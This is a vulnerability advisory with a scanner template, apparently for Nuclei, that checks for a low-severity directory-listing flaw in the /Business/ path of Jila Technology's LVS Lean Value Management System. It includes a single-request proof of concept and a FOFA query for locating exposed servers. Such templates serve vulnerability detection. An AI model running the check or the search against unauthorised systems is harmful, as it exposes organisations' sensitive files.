Multiple systems of Hangzhou Jila Technology Co., Ltd. have been found to have directory traversal vulnerabilities. These vulnerabilities arise from the inadequate access controls implemented in the /Business/ directory. Malicious actors can potentially leverage these vulnerabilities to illicitly access sensitive information.
PoC代码[已公开]
id: lean-value-listing
info:
name: LVS Lean Value Management System Business - Directory Listing
author: pussycat0x
severity: low
description: |
Multiple systems of Hangzhou Jila Technology Co., Ltd. have been found to have directory traversal vulnerabilities. These vulnerabilities arise from the inadequate access controls implemented in the /Business/ directory. Malicious actors can potentially leverage these vulnerabilities to illicitly access sensitive information.
reference:
- https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%90%89%E6%8B%89%E7%A7%91%E6%8A%80%20LVS%E7%B2%BE%E7%9B%8A%E4%BB%B7%E5%80%BC%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F%20Business%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md
metadata:
verified: true
max-request: 1
fofa-query: "Supperd By 吉拉科技"
tags: lean-value,misconfig,listing,vuln
http:
- method: GET
path:
- "{{BaseURL}}/Business/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '/Business/'
- 'AgencytaskList.aspx'
condition: and
- type: status
status:
- 200
# digest: 490a004630440220698abc36e6f32ce54101302bf8ec0454b88e8c3233a4f2e2f5f5ea399f76021602203440ddb8d912be47bbff5e7f51b34f528d3e61675a7dbedfdbcc6ef77e6ddfb3:922c64590222798bb761d5b6d8e72950